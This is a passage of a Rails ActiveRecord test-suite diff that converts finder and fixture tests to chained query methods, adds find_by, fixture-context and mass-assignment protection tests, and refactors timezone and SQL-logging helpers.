+ Topic.find_by_title!("The First Topic!")
+ end
+ end
+
+ def test_find_by_on_attribute_that_is_a_reserved_word
+ dog_alias = 'Dog'
+ dog = Dog.create(alias: dog_alias)
+
+ assert_equal dog, Dog.find_by_alias(dog_alias)
end
def test_find_by_one_attribute_that_is_an_alias
@@ -684,6 +914,15 @@ class FinderTest < ActiveRecord::TestCase
assert_raise(ArgumentError) { Topic.find_by_title_and_author_name("The First Topic") }
end
+ def test_find_last_with_offset
+ devs = Developer.order('id')
+
+ assert_equal devs[2], Developer.offset(2).first
+ assert_equal devs[-3], Developer.offset(2).last
+ assert_equal devs[-3], Developer.offset(2).last
+ assert_equal devs[-3], Developer.offset(2).order('id DESC').first
+ end
+
def test_find_by_nil_attribute
topic = Topic.find_by_last_read nil
assert_not_nil topic
@@ -700,31 +939,27 @@ class FinderTest < ActiveRecord::TestCase
end
def test_find_all_with_join
- developers_on_project_one = Developer.all.merge!(
- :joins => 'LEFT JOIN developers_projects ON developers.id = developers_projects.developer_id',
- :where => 'project_id=1'
- ).to_a
+ developers_on_project_one = Developer.
+ joins('LEFT JOIN developers_projects ON developers.id = developers_projects.developer_id').
+ where('project_id=1').to_a
assert_equal 3, developers_on_project_one.length
- developer_names = developers_on_project_one.map { |d| d.name }
+ developer_names = developers_on_project_one.map(&:name)
assert developer_names.include?('David')
assert developer_names.include?('Jamis')
end
def test_joins_dont_clobber_id
- first = Firm.all.merge!(
- :joins => 'INNER JOIN companies clients ON clients.firm_id = companies.id',
- :where => 'companies.id = 1'
- ).first
+ first = Firm.
+ joins('INNER JOIN companies clients ON clients.firm_id = companies.id').
+ where('companies.id = 1').first
assert_equal 1, first.id
end
def test_joins_with_string_array
- person_with_reader_and_post = Post.all.merge!(
- :joins => [
- "INNER JOIN categorizations ON categorizations.post_id = posts.id",
- "INNER JOIN categories ON categories.id = categorizations.category_id AND categories.type = 'SpecialCategory'"
- ]
- )
+ person_with_reader_and_post = Post.
+ joins(["INNER JOIN categorizations ON categorizations.post_id = posts.id",
+ "INNER JOIN categories ON categories.id = categorizations.category_id AND categories.type = 'SpecialCategory'"
+ ])
assert_equal 1, person_with_reader_and_post.size
end
@@ -749,9 +984,9 @@ class FinderTest < ActiveRecord::TestCase
end
def test_find_by_records
- p1, p2 = Post.all.merge!(:limit => 2, :order => 'id asc').to_a
- assert_equal [p1, p2], Post.all.merge!(:where => ['id in (?)', [p1, p2]], :order => 'id asc')
- assert_equal [p1, p2], Post.all.merge!(:where => ['id in (?)', [p1, p2.id]], :order => 'id asc')
+ p1, p2 = Post.limit(2).order('id asc').to_a
+ assert_equal [p1, p2], Post.where(['id in (?)', [p1, p2]]).order('id asc')
+ assert_equal [p1, p2], Post.where(['id in (?)', [p1, p2.id]]).order('id asc')
end
def test_select_value
@@ -763,8 +998,8 @@ class FinderTest < ActiveRecord::TestCase
end
def test_select_values
- assert_equal ["1","2","3","4","5","6","7","8","9", "10"], Company.connection.select_values("SELECT id FROM companies ORDER BY id").map! { |i| i.to_s }
- assert_equal ["37signals","Summit","Microsoft", "Flamboyant Software", "Ex Nihilo", "RailsCore", "Leetsoft", "Jadedpixel", "Odegy", "Ex Nihilo Part Deux"], Company.connection.select_values("SELECT name FROM companies ORDER BY id")
+ assert_equal ["1","2","3","4","5","6","7","8","9", "10", "11"], Company.connection.select_values("SELECT id FROM companies ORDER BY id").map!(&:to_s)
+ assert_equal ["37signals","Summit","Microsoft", "Flamboyant Software", "Ex Nihilo", "RailsCore", "Leetsoft", "Jadedpixel", "Odegy", "Ex Nihilo Part Deux", "Apex"], Company.connection.select_values("SELECT name FROM companies ORDER BY id")
end
def test_select_rows
@@ -778,36 +1013,35 @@ class FinderTest < ActiveRecord::TestCase
end
def test_find_with_order_on_included_associations_with_construct_finder_sql_for_association_limiting_and_is_distinct
- assert_equal 2, Post.all.merge!(:includes => { :authors => :author_address }, :order => 'author_addresses.id DESC ', :limit => 2).to_a.size
+ assert_equal 2, Post.includes(authors: :author_address).order('author_addresses.id DESC ').limit(2).to_a.size
- assert_equal 3, Post.all.merge!(:includes => { :author => :author_address, :authors => :author_address},
- :order => 'author_addresses_authors.id DESC ', :limit => 3).to_a.size
+ assert_equal 3, Post.includes(author: :author_address, authors: :author_address).
+ order('author_addresses_authors.id DESC ').limit(3).to_a.size
end
def test_find_with_nil_inside_set_passed_for_one_attribute
- client_of = Company.all.merge!(
- :where => {
- :client_of => [2, 1, nil],
- :name => ['37signals', 'Summit', 'Microsoft'] },
- :order => 'client_of DESC'
- ).map { |x| x.client_of }
+ client_of = Company.
+ where(client_of: [2, 1, nil],
+ name: ['37signals', 'Summit', 'Microsoft']).
+ order('client_of DESC').
+ map(&:client_of)
assert client_of.include?(nil)
assert_equal [2, 1].sort, client_of.compact.sort
end
def test_find_with_nil_inside_set_passed_for_attribute
- client_of = Company.all.merge!(
- :where => { :client_of => [nil] },
- :order => 'client_of DESC'
- ).map { |x| x.client_of }
+ client_of = Company.
+ where(client_of: [nil]).
+ order('client_of DESC').
+ map(&:client_of)
assert_equal [], client_of.compact
end
def test_with_limiting_with_custom_select
posts = Post.references(:authors).merge(
- :includes => :author, :select => ' posts.*, authors.id as "author_id"',
+ :includes => :author, :select => 'posts.*, authors.id as "author_id"',
:limit => 3, :order => 'posts.id'
).to_a
assert_equal 3, posts.size
@@ -815,16 +1049,80 @@ class FinderTest < ActiveRecord::TestCase
end
def test_find_one_message_with_custom_primary_key
- Toy.primary_key = :name
- begin
- Toy.find 'Hello World!'
- rescue ActiveRecord::RecordNotFound => e
- assert_equal 'Couldn\'t find Toy with name=Hello World!', e.message
+ table_with_custom_primary_key do |model|
+ model.primary_key = :name
+ e = assert_raises(ActiveRecord::RecordNotFound) do
+ model.find 'Hello World!'
+ end
+ assert_equal %Q{Couldn't find MercedesCar with 'name'=Hello World!}, e.message
+ end
+ end
+
+ def test_find_some_message_with_custom_primary_key
+ table_with_custom_primary_key do |model|
+ model.primary_key = :name
+ e = assert_raises(ActiveRecord::RecordNotFound) do
+ model.find 'Hello', 'World!'
+ end
+ assert_equal %Q{Couldn't find all MercedesCars with 'name': (Hello, World!) (found 0 results, but was looking for 2)}, e.message
+ end
+ end
+
+ def test_find_without_primary_key
+ assert_raises(ActiveRecord::UnknownPrimaryKey) do
+ Matey.find(1)
end
end
def test_finder_with_offset_string
- assert_nothing_raised(ActiveRecord::StatementInvalid) { Topic.all.merge!(:offset => "3").to_a }
+ assert_nothing_raised(ActiveRecord::StatementInvalid) { Topic.offset("3").to_a }
+ end
+
+ test "find_by with hash conditions returns the first matching record" do
+ assert_equal posts(:eager_other), Post.find_by(id: posts(:eager_other).id)
+ end
+
+ test "find_by with non-hash conditions returns the first matching record" do
+ assert_equal posts(:eager_other), Post.find_by("id = #{posts(:eager_other).id}")
+ end
+
+ test "find_by with multi-arg conditions returns the first matching record" do
+ assert_equal posts(:eager_other), Post.find_by('id = ?', posts(:eager_other).id)
+ end
+
+ test "find_by returns nil if the record is missing" do
+ assert_equal nil, Post.find_by("1 = 0")
+ end
+
+ test "find_by with associations" do
+ assert_equal authors(:david), Post.find_by(author: authors(:david)).author
+ assert_equal authors(:mary) , Post.find_by(author: authors(:mary) ).author
+ end
+
+ test "find_by doesn't have implicit ordering" do
+ assert_sql(/^((?!ORDER).)*$/) { Post.find_by(id: posts(:eager_other).id) }
+ end
+
+ test "find_by! with hash conditions returns the first matching record" do
+ assert_equal posts(:eager_other), Post.find_by!(id: posts(:eager_other).id)
+ end
+
+ test "find_by! with non-hash conditions returns the first matching record" do
+ assert_equal posts(:eager_other), Post.find_by!("id = #{posts(:eager_other).id}")
+ end
+
+ test "find_by! with multi-arg conditions returns the first matching record" do
+ assert_equal posts(:eager_other), Post.find_by!('id = ?', posts(:eager_other).id)
+ end
+
+ test "find_by! doesn't have implicit ordering" do
+ assert_sql(/^((?!ORDER).)*$/) { Post.find_by!(id: posts(:eager_other).id) }
+ end
+
+ test "find_by! raises RecordNotFound if the record is missing" do
+ assert_raises(ActiveRecord::RecordNotFound) do
+ Post.find_by!("1 = 0")
+ end
end
protected
@@ -836,17 +1134,17 @@ class FinderTest < ActiveRecord::TestCase
end
end
- def with_env_tz(new_tz = 'US/Eastern')
- old_tz, ENV['TZ'] = ENV['TZ'], new_tz
- yield
- ensure
- old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+ def table_with_custom_primary_key
+ yield(Class.new(Toy) do
+ def self.name
+ 'MercedesCar'
+ end
+ end)
end
- def with_active_record_default_timezone(zone)
- old_zone, ActiveRecord::Base.default_timezone = ActiveRecord::Base.default_timezone, zone
- yield
- ensure
- ActiveRecord::Base.default_timezone = old_zone
+ def assert_raises_with_message(exception_class, message, &block)
+ err = assert_raises(exception_class) { block.call }
+ assert_match message, err.message
end
+
end
diff --git a/activerecord/test/cases/fixture_set/file_test.rb b/activerecord/test/cases/fixture_set/file_test.rb
index a029fedbd3..92efa8aca7 100644
--- a/activerecord/test/cases/fixture_set/file_test.rb
+++ b/activerecord/test/cases/fixture_set/file_test.rb
@@ -68,6 +68,61 @@ module ActiveRecord
end
end
+ def test_render_context_helper
+ ActiveRecord::FixtureSet.context_class.class_eval do
+ def fixture_helper
+ "Fixture helper"
+ end
+ end
+ yaml = "one:\n name: <%= fixture_helper %>\n"
+ tmp_yaml ['curious', 'yml'], yaml do |t|
+ golden =
+ [["one", {"name" => "Fixture helper"}]]
+ assert_equal golden, File.open(t.path) { |fh| fh.to_a }
+ end
+ ActiveRecord::FixtureSet.context_class.class_eval do
+ remove_method :fixture_helper
+ end
+ end
+
+ def test_render_context_lookup_scope
+ yaml = <<END
+one:
+ ActiveRecord: <%= defined? ActiveRecord %>
+ ActiveRecord_FixtureSet: <%= defined? ActiveRecord::FixtureSet %>
+ FixtureSet: <%= defined? FixtureSet %>
+ ActiveRecord_FixtureSet_File: <%= defined? ActiveRecord::FixtureSet::File %>
+ File: <%= File.name %>
+END
+
+ golden = [['one', {
+ 'ActiveRecord' => 'constant',
+ 'ActiveRecord_FixtureSet' => 'constant',
+ 'FixtureSet' => nil,
+ 'ActiveRecord_FixtureSet_File' => 'constant',
+ 'File' => 'File'
+ }]]
+
+ tmp_yaml ['curious', 'yml'], yaml do |t|
+ assert_equal golden, File.open(t.path) { |fh| fh.to_a }
+ end
+ end
+
+ # Make sure that each fixture gets its own rendering context so that
+ # fixtures are independent.
+ def test_independent_render_contexts
+ yaml1 = "<% def leaked_method; 'leak'; end %>\n"
+ yaml2 = "one:\n name: <%= leaked_method %>\n"
+ tmp_yaml ['leaky', 'yml'], yaml1 do |t1|
+ tmp_yaml ['curious', 'yml'], yaml2 do |t2|
+ File.open(t1.path) { |fh| fh.to_a }
+ assert_raises(NameError) do
+ File.open(t2.path) { |fh| fh.to_a }
+ end
+ end
+ end
+ end
+
private
def tmp_yaml(name, contents)
t = Tempfile.new name
diff --git a/activerecord/test/cases/fixtures_test.rb b/activerecord/test/cases/fixtures_test.rb
index b0b29f5f42..9edeb8b47f 100644
--- a/activerecord/test/cases/fixtures_test.rb
+++ b/activerecord/test/cases/fixtures_test.rb
@@ -5,11 +5,13 @@ require 'models/admin/randomly_named_c1'
require 'models/admin/user'
require 'models/binary'
require 'models/book'
+require 'models/bulb'
require 'models/category'
require 'models/company'
require 'models/computer'
require 'models/course'
require 'models/developer'
+require 'models/computer'
require 'models/joke'
require 'models/matey'
require 'models/parrot'
@@ -190,11 +192,11 @@ class FixturesTest < ActiveRecord::TestCase
end
def test_empty_yaml_fixture
- assert_not_nil ActiveRecord::FixtureSet.new( Account.connection, "accounts", 'Account', FIXTURES_ROOT + "/naked/yml/accounts")
+ assert_not_nil ActiveRecord::FixtureSet.new( Account.connection, "accounts", Account, FIXTURES_ROOT + "/naked/yml/accounts")
end
def test_empty_yaml_fixture_with_a_comment_in_it
- assert_not_nil ActiveRecord::FixtureSet.new( Account.connection, "companies", 'Company', FIXTURES_ROOT + "/naked/yml/companies")
+ assert_not_nil ActiveRecord::FixtureSet.new( Account.connection, "companies", Company, FIXTURES_ROOT + "/naked/yml/companies")
end
def test_nonexistent_fixture_file
@@ -204,19 +206,19 @@ class FixturesTest < ActiveRecord::TestCase
assert Dir[nonexistent_fixture_path+"*"].empty?
assert_raise(Errno::ENOENT) do
- ActiveRecord::FixtureSet.new( Account.connection, "companies", 'Company', nonexistent_fixture_path)
+ ActiveRecord::FixtureSet.new( Account.connection, "companies", Company, nonexistent_fixture_path)
end
end
def test_dirty_dirty_yaml_file
assert_raise(ActiveRecord::Fixture::FormatError) do
- ActiveRecord::FixtureSet.new( Account.connection, "courses", 'Course', FIXTURES_ROOT + "/naked/yml/courses")
+ ActiveRecord::FixtureSet.new( Account.connection, "courses", Course, FIXTURES_ROOT + "/naked/yml/courses")
end
end
def test_omap_fixtures
assert_nothing_raised do
- fixtures = ActiveRecord::FixtureSet.new(Account.connection, 'categories', 'Category', FIXTURES_ROOT + "/categories_ordered")
+ fixtures = ActiveRecord::FixtureSet.new(Account.connection, 'categories', Category, FIXTURES_ROOT + "/categories_ordered")
fixtures.each.with_index do |(name, fixture), i|
assert_equal "fixture_no_#{i}", name
@@ -245,6 +247,60 @@ class FixturesTest < ActiveRecord::TestCase
def test_serialized_fixtures
assert_equal ["Green", "Red", "Orange"], traffic_lights(:uk).state
end
+
+ def test_fixtures_are_set_up_with_database_env_variable
+ db_url_tmp = ENV['DATABASE_URL']
+ ENV['DATABASE_URL'] = "sqlite3::memory:"
+ ActiveRecord::Base.stubs(:configurations).returns({})
+ test_case = Class.new(ActiveRecord::TestCase) do
+ fixtures :accounts
+
+ def test_fixtures
+ assert accounts(:signals37)
+ end
+ end
+
+ result = test_case.new(:test_fixtures).run
+
+ assert result.passed?, "Expected #{result.name} to pass:\n#{result}"
+ ensure
+ ENV['DATABASE_URL'] = db_url_tmp
+ end
+end
+
+class HasManyThroughFixture < ActiveSupport::TestCase
+ def make_model(name)
+ Class.new(ActiveRecord::Base) { define_singleton_method(:name) { name } }
+ end
+
+ def test_has_many_through
+ pt = make_model "ParrotTreasure"
+ parrot = make_model "Parrot"
+ treasure = make_model "Treasure"
+
+ pt.table_name = "parrots_treasures"
+ pt.belongs_to :parrot, :class => parrot
+ pt.belongs_to :treasure, :class => treasure
+
+ parrot.has_many :parrot_treasures, :class => pt
+ parrot.has_many :treasures, :through => :parrot_treasures
+
+ parrots = File.join FIXTURES_ROOT, 'parrots'
+
+ fs = ActiveRecord::FixtureSet.new parrot.connection, "parrots", parrot, parrots
+ rows = fs.table_rows
+ assert_equal load_has_and_belongs_to_many['parrots_treasures'], rows['parrots_treasures']
+ end
+
+ def load_has_and_belongs_to_many
+ parrot = make_model "Parrot"
+ parrot.has_and_belongs_to_many :treasures
+
+ parrots = File.join FIXTURES_ROOT, 'parrots'
+
+ fs = ActiveRecord::FixtureSet.new parrot.connection, "parrots", parrot, parrots
+ fs.table_rows
+ end
end
if Account.connection.respond_to?(:reset_pk_sequence!)
@@ -433,7 +489,7 @@ class OverRideFixtureMethodTest < ActiveRecord::TestCase
end
class CheckSetTableNameFixturesTest < ActiveRecord::TestCase
- set_fixture_class :funny_jokes => 'Joke'
+ set_fixture_class :funny_jokes => Joke
fixtures :funny_jokes
# Set to false to blow away fixtures cache and ensure our fixtures are loaded
# and thus takes into account our set_fixture_class
@@ -477,11 +533,6 @@ class CustomConnectionFixturesTest < ActiveRecord::TestCase
fixtures :courses
self.use_transactional_fixtures = false
- def test_connection
- assert_kind_of Course, courses(:ruby)
- assert_equal Course.connection, courses(:ruby).connection
- end
-
def test_leaky_destroy
assert_nothing_raised { courses(:ruby) }
courses(:ruby).destroy
@@ -521,7 +572,7 @@ class InvalidTableNameFixturesTest < ActiveRecord::TestCase
end
class CheckEscapedYamlFixturesTest < ActiveRecord::TestCase
- set_fixture_class :funny_jokes => 'Joke'
+ set_fixture_class :funny_jokes => Joke
fixtures :funny_jokes
# Set to false to blow away fixtures cache and ensure our fixtures are loaded
# and thus takes into account our set_fixture_class
@@ -563,21 +614,39 @@ class FixturesBrokenRollbackTest < ActiveRecord::TestCase
end
private
- def load_fixtures
+ def load_fixtures(config)
raise 'argh'
end
end
class LoadAllFixturesTest < ActiveRecord::TestCase
- self.fixture_path = FIXTURES_ROOT + "/all"
- fixtures :all
+ def test_all_there
+ self.class.fixture_path = FIXTURES_ROOT + "/all"
+ self.class.fixtures :all
+ if File.symlink? FIXTURES_ROOT + "/all/admin"
+ assert_equal %w(admin/accounts admin/users developers people tasks), fixture_table_names.sort
+ end
+ ensure
+ ActiveRecord::FixtureSet.reset_cache
+ end
+end
+
+class LoadAllFixturesWithPathnameTest < ActiveRecord::TestCase
def test_all_there
- assert_equal %w(developers people tasks), fixture_table_names.sort
+ self.class.fixture_path = Pathname.new(FIXTURES_ROOT).join('all')
+ self.class.fixtures :all
+
+ if File.symlink? FIXTURES_ROOT + "/all/admin"
+ assert_equal %w(admin/accounts admin/users developers people tasks), fixture_table_names.sort
+ end
+ ensure
+ ActiveRecord::FixtureSet.reset_cache
end
end
class FasterFixturesTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
fixtures :categories, :authors
def load_extra_fixture(name)
@@ -605,6 +674,12 @@ end
class FoxyFixturesTest < ActiveRecord::TestCase
fixtures :parrots, :parrots_pirates, :pirates, :treasures, :mateys, :ships, :computers, :developers, :"admin/accounts", :"admin/users"
+ if ActiveRecord::Base.connection.adapter_name == 'PostgreSQL'
+ require 'models/uuid_parent'
+ require 'models/uuid_child'
+ fixtures :uuid_parents, :uuid_children
+ end
+
def test_identifies_strings
assert_equal(ActiveRecord::FixtureSet.identify("foo"), ActiveRecord::FixtureSet.identify("foo"))
assert_not_equal(ActiveRecord::FixtureSet.identify("foo"), ActiveRecord::FixtureSet.identify("FOO"))
@@ -617,6 +692,9 @@ class FoxyFixturesTest < ActiveRecord::TestCase
def test_identifies_consistently
assert_equal 207281424, ActiveRecord::FixtureSet.identify(:ruby)
assert_equal 1066363776, ActiveRecord::FixtureSet.identify(:sapphire_2)
+
+ assert_equal 'f92b6bda-0d0d-5fe1-9124-502b18badded', ActiveRecord::FixtureSet.identify(:daddy, :uuid)
+ assert_equal 'b4b10018-ad47-595d-b42f-d8bdaa6d01bf', ActiveRecord::FixtureSet.identify(:sonny, :uuid)
end
TIMESTAMP_COLUMNS = %w(created_at created_on updated_at updated_on)
@@ -710,6 +788,10 @@ class FoxyFixturesTest < ActiveRecord::TestCase
assert_equal("frederick", parrots(:frederick).name)
end
+ def test_supports_label_string_interpolation
+ assert_equal("X marks the spot!", pirates(:mark).catchphrase)
+ end
+
def test_supports_polymorphic_belongs_to
assert_equal(pirates(:redbeard), treasures(:sapphire).looter)
assert_equal(parrots(:louis), treasures(:ruby).looter)
@@ -742,20 +824,6 @@ class ActiveSupportSubclassWithFixturesTest < ActiveRecord::TestCase
end
end
-class FixtureLoadingTest < ActiveRecord::TestCase
- def test_logs_message_for_failed_dependency_load
- ActiveRecord::TestCase.expects(:require_dependency).with(:does_not_exist).raises(LoadError)
- ActiveRecord::Base.logger.expects(:warn)
- ActiveRecord::TestCase.try_to_load_dependency(:does_not_exist)
- end
-
- def test_does_not_logs_message_for_successful_dependency_load
- ActiveRecord::TestCase.expects(:require_dependency).with(:works_out_fine)
- ActiveRecord::Base.logger.expects(:warn).never
- ActiveRecord::TestCase.try_to_load_dependency(:works_out_fine)
- end
-end
-
class CustomNameForFixtureOrModelTest < ActiveRecord::TestCase
ActiveRecord::FixtureSet.reset_cache
@@ -786,3 +854,16 @@ class CustomNameForFixtureOrModelTest < ActiveRecord::TestCase
assert_equal 'randomly_named_table', Admin::ClassNameThatDoesNotFollowCONVENTIONS.table_name
end
end
+
+class FixturesWithDefaultScopeTest < ActiveRecord::TestCase
+ fixtures :bulbs
+
+ test "inserts fixtures excluded by a default scope" do
+ assert_equal 1, Bulb.count
+ assert_equal 2, Bulb.unscoped.count
+ end
+
+ test "allows access to fixtures excluded by a default scope" do
+ assert_equal "special", bulbs(:special).name
+ end
+end
diff --git a/activerecord/test/cases/forbidden_attributes_protection_test.rb b/activerecord/test/cases/forbidden_attributes_protection_test.rb
index 490b599fb6..f4e7646f03 100644
--- a/activerecord/test/cases/forbidden_attributes_protection_test.rb
+++ b/activerecord/test/cases/forbidden_attributes_protection_test.rb
@@ -61,4 +61,39 @@ class ForbiddenAttributesProtectionTest < ActiveRecord::TestCase
assert_equal 'Guille', person.first_name
assert_equal 'm', person.gender
end
+
+ def test_blank_attributes_should_not_raise
+ person = Person.new
+ assert_nil person.assign_attributes(ProtectedParams.new({}))
+ end
+
+ def test_create_with_checks_permitted
+ params = ProtectedParams.new(first_name: 'Guille', gender: 'm')
+
+ assert_raises(ActiveModel::ForbiddenAttributesError) do
+ Person.create_with(params).create!
+ end
+ end
+
+ def test_create_with_works_with_params_values
+ params = ProtectedParams.new(first_name: 'Guille')
+
+ person = Person.create_with(first_name: params[:first_name]).create!
+ assert_equal 'Guille', person.first_name
+ end
+
+ def test_where_checks_permitted
+ params = ProtectedParams.new(first_name: 'Guille', gender: 'm')
+
+ assert_raises(ActiveModel::ForbiddenAttributesError) do
+ Person.where(params).create!
+ end
+ end
+
+ def test_where_works_with_params_values
+ params = ProtectedParams.new(first_name: 'Guille')
+
+ person = Person.where(first_name: params[:first_name]).create!
+ assert_equal 'Guille', person.first_name
+ end
end
diff --git a/activerecord/test/cases/helper.rb b/activerecord/test/cases/helper.rb
index 3a315d843b..80ac57ec7c 100644
--- a/activerecord/test/cases/helper.rb
+++ b/activerecord/test/cases/helper.rb
@@ -2,23 +2,31 @@ require File.expand_path('../../../../load_paths', __FILE__)
require 'config'
-gem 'minitest'
-require 'minitest/autorun'
+require 'active_support/testing/autorun'
require 'stringio'
require 'active_record'
require 'cases/test_case'
require 'active_support/dependencies'
require 'active_support/logger'
+require 'active_support/core_ext/string/strip'
require 'support/config'
require 'support/connection'
# TODO: Move all these random hacks into the ARTest namespace and into the support/ dir
+Thread.abort_on_exception = true
+
# Show backtraces for deprecated behavior for quicker cleanup.
ActiveSupport::Deprecation.debug = true
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
+# Enable raise errors in after_commit and after_rollback.
+ActiveRecord::Base.raise_in_transactional_callbacks = true
+
# Connect to the database
ARTest.connect
@@ -37,6 +45,15 @@ def in_memory_db?
ActiveRecord::Base.connection_pool.spec.config[:database] == ":memory:"
end
+def mysql_56?
+ current_adapter?(:Mysql2Adapter) &&
+ ActiveRecord::Base.connection.send(:version).join(".") >= "5.6.0"
+end
+
+def mysql_enforcing_gtid_consistency?
+ current_adapter?(:MysqlAdapter, :Mysql2Adapter) && 'ON' == ActiveRecord::Base.connection.show_variable('enforce_gtid_consistency')
+end
+
def supports_savepoints?
ActiveRecord::Base.connection.supports_savepoints?
end
@@ -48,24 +65,75 @@ ensure
old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
end
-def with_active_record_default_timezone(zone)
- old_zone, ActiveRecord::Base.default_timezone = ActiveRecord::Base.default_timezone, zone
+def with_timezone_config(cfg)
+ verify_default_timezone_config
+
+ old_default_zone = ActiveRecord::Base.default_timezone
+ old_awareness = ActiveRecord::Base.time_zone_aware_attributes
+ old_zone = Time.zone
+
+ if cfg.has_key?(:default)
+ ActiveRecord::Base.default_timezone = cfg[:default]
+ end
+ if cfg.has_key?(:aware_attributes)
+ ActiveRecord::Base.time_zone_aware_attributes = cfg[:aware_attributes]
+ end
+ if cfg.has_key?(:zone)
+ Time.zone = cfg[:zone]
+ end
yield
ensure
- ActiveRecord::Base.default_timezone = old_zone
+ ActiveRecord::Base.default_timezone = old_default_zone
+ ActiveRecord::Base.time_zone_aware_attributes = old_awareness
+ Time.zone = old_zone
end
-unless ENV['FIXTURE_DEBUG']
- module ActiveRecord::TestFixtures::ClassMethods
- def try_to_load_dependency_with_silence(*args)
- old = ActiveRecord::Base.logger.level
- ActiveRecord::Base.logger.level = ActiveSupport::Logger::ERROR
- try_to_load_dependency_without_silence(*args)
- ActiveRecord::Base.logger.level = old
- end
-
- alias_method_chain :try_to_load_dependency, :silence
+# This method makes sure that tests don't leak global state related to time zones.
+EXPECTED_ZONE = nil
+EXPECTED_DEFAULT_TIMEZONE = :utc
+EXPECTED_TIME_ZONE_AWARE_ATTRIBUTES = false
+def verify_default_timezone_config
+ if Time.zone != EXPECTED_ZONE
+ $stderr.puts <<-MSG
+\n#{self}
+ Global state `Time.zone` was leaked.
+ Expected: #{EXPECTED_ZONE}
+ Got: #{Time.zone}
+ MSG
+ end
+ if ActiveRecord::Base.default_timezone != EXPECTED_DEFAULT_TIMEZONE
+ $stderr.puts <<-MSG
+\n#{self}
+ Global state `ActiveRecord::Base.default_timezone` was leaked.
+ Expected: #{EXPECTED_DEFAULT_TIMEZONE}
+ Got: #{ActiveRecord::Base.default_timezone}
+ MSG
end
+ if ActiveRecord::Base.time_zone_aware_attributes != EXPECTED_TIME_ZONE_AWARE_ATTRIBUTES
+ $stderr.puts <<-MSG
+\n#{self}
+ Global state `ActiveRecord::Base.time_zone_aware_attributes` was leaked.
+ Expected: #{EXPECTED_TIME_ZONE_AWARE_ATTRIBUTES}
+ Got: #{ActiveRecord::Base.time_zone_aware_attributes}
+ MSG
+ end
+end
+
+def enable_extension!(extension, connection)
+ return false unless connection.supports_extensions?
+ return connection.reconnect! if connection.extension_enabled?(extension)
+
+ connection.enable_extension extension
+ connection.commit_db_transaction
+ connection.reconnect!
+end
+
+def disable_extension!(extension, connection)
+ return false unless connection.supports_extensions?
+ return true unless connection.extension_enabled?(extension)
+
+ connection.disable_extension extension
+ connection.reconnect!
end
require "cases/validations_repair_helper"
@@ -92,7 +160,7 @@ def load_schema
load SCHEMA_ROOT + "/schema.rb"
- if File.exists?(adapter_specific_schema_file)
+ if File.exist?(adapter_specific_schema_file)
load adapter_specific_schema_file
end
ensure
@@ -101,36 +169,21 @@ end
load_schema
-class << Time
- unless method_defined? :now_before_time_travel
- alias_method :now_before_time_travel, :now
- end
+class SQLSubscriber
+ attr_reader :logged
+ attr_reader :payloads
- def now
- (@now ||= nil) || now_before_time_travel
+ def initialize
+ @logged = []
+ @payloads = []
end
- def travel_to(time, &block)
- @now = time
- block.call
- ensure
- @now = nil
+ def start(name, id, payload)
+ @payloads << payload
+ @logged << [payload[:sql].squish, payload[:name], payload[:binds]]
end
-end
-module LogIntercepter
- attr_accessor :logged, :intercepted
- def self.extended(base)
- base.logged = []
- end
- def log(sql, name, binds = [], &block)
- if @intercepted
- @logged << [sql, name, binds]
- yield
- else
- super(sql, name,binds, &block)
- end
- end
+ def finish(name, id, payload); end
end
module InTimeZone
@@ -148,3 +201,10 @@ module InTimeZone
ActiveRecord::Base.time_zone_aware_attributes = old_tz
end
end
+
+require 'mocha/setup' # FIXME: stop using mocha
+
+# FIXME: we have tests that depend on run order, we should fix that and
+# remove this method call.
+require 'active_support/test_case'
+ActiveSupport::TestCase.test_order = :sorted
diff --git a/activerecord/test/cases/hot_compatibility_test.rb b/activerecord/test/cases/hot_compatibility_test.rb
index 96e581ab4c..b4617cf6f9 100644
--- a/activerecord/test/cases/hot_compatibility_test.rb
+++ b/activerecord/test/cases/hot_compatibility_test.rb
@@ -5,7 +5,7 @@ class HotCompatibilityTest < ActiveRecord::TestCase
setup do
@klass = Class.new(ActiveRecord::Base) do
- connection.create_table :hot_compatibilities do |t|
+ connection.create_table :hot_compatibilities, force: true do |t|
t.string :foo
t.string :bar
end
@@ -15,7 +15,7 @@ class HotCompatibilityTest < ActiveRecord::TestCase
end
teardown do
- @klass.connection.drop_table :hot_compatibilities
+ ActiveRecord::Base.connection.drop_table :hot_compatibilities
end
test "insert after remove_column" do
diff --git a/activerecord/test/cases/inheritance_test.rb b/activerecord/test/cases/inheritance_test.rb
index 189066eb41..0338669016 100644
--- a/activerecord/test/cases/inheritance_test.rb
+++ b/activerecord/test/cases/inheritance_test.rb
@@ -1,10 +1,11 @@
-require "cases/helper"
+require 'cases/helper'
require 'models/company'
require 'models/person'
require 'models/post'
require 'models/project'
require 'models/subscriber'
require 'models/vegetables'
+require 'models/shop'
class InheritanceTest < ActiveRecord::TestCase
fixtures :companies, :projects, :subscribers, :accounts, :vegetables
@@ -21,7 +22,7 @@ class InheritanceTest < ActiveRecord::TestCase
company = Company.first
company = company.dup
company.extend(Module.new {
- def read_attribute(name)
+ def _read_attribute(name)
return ' ' if name == 'type'
super
end
@@ -68,6 +69,7 @@ class InheritanceTest < ActiveRecord::TestCase
end
def test_company_descends_from_active_record
+ assert !ActiveRecord::Base.descends_from_active_record?
assert AbstractCompany.descends_from_active_record?, 'AbstractCompany should descend from ActiveRecord::Base'
assert Company.descends_from_active_record?, 'Company should descend from ActiveRecord::Base'
assert !Class.new(Company).descends_from_active_record?, 'Company subclass should not descend from ActiveRecord::Base'
@@ -93,16 +95,8 @@ class InheritanceTest < ActiveRecord::TestCase
end
def test_a_bad_type_column
- #SQLServer need to turn Identity Insert On before manually inserting into the Identity column
- if current_adapter?(:SybaseAdapter)
- Company.connection.execute "SET IDENTITY_INSERT companies ON"
- end
Company.connection.insert "INSERT INTO companies (id, #{QUOTED_TYPE}, name) VALUES(100, 'bad_class!', 'Not happening')"
- #We then need to turn it back Off before continuing.
- if current_adapter?(:SybaseAdapter)
- Company.connection.execute "SET IDENTITY_INSERT companies OFF"
- end
assert_raise(ActiveRecord::SubclassNotFound) { Company.find(100) }
end
@@ -127,6 +121,17 @@ class InheritanceTest < ActiveRecord::TestCase
assert_kind_of Cabbage, cabbage
end
+ def test_alt_becomes_bang_resets_inheritance_type_column
+ vegetable = Vegetable.create!(name: "Red Pepper")
+ assert_nil vegetable.custom_type
+
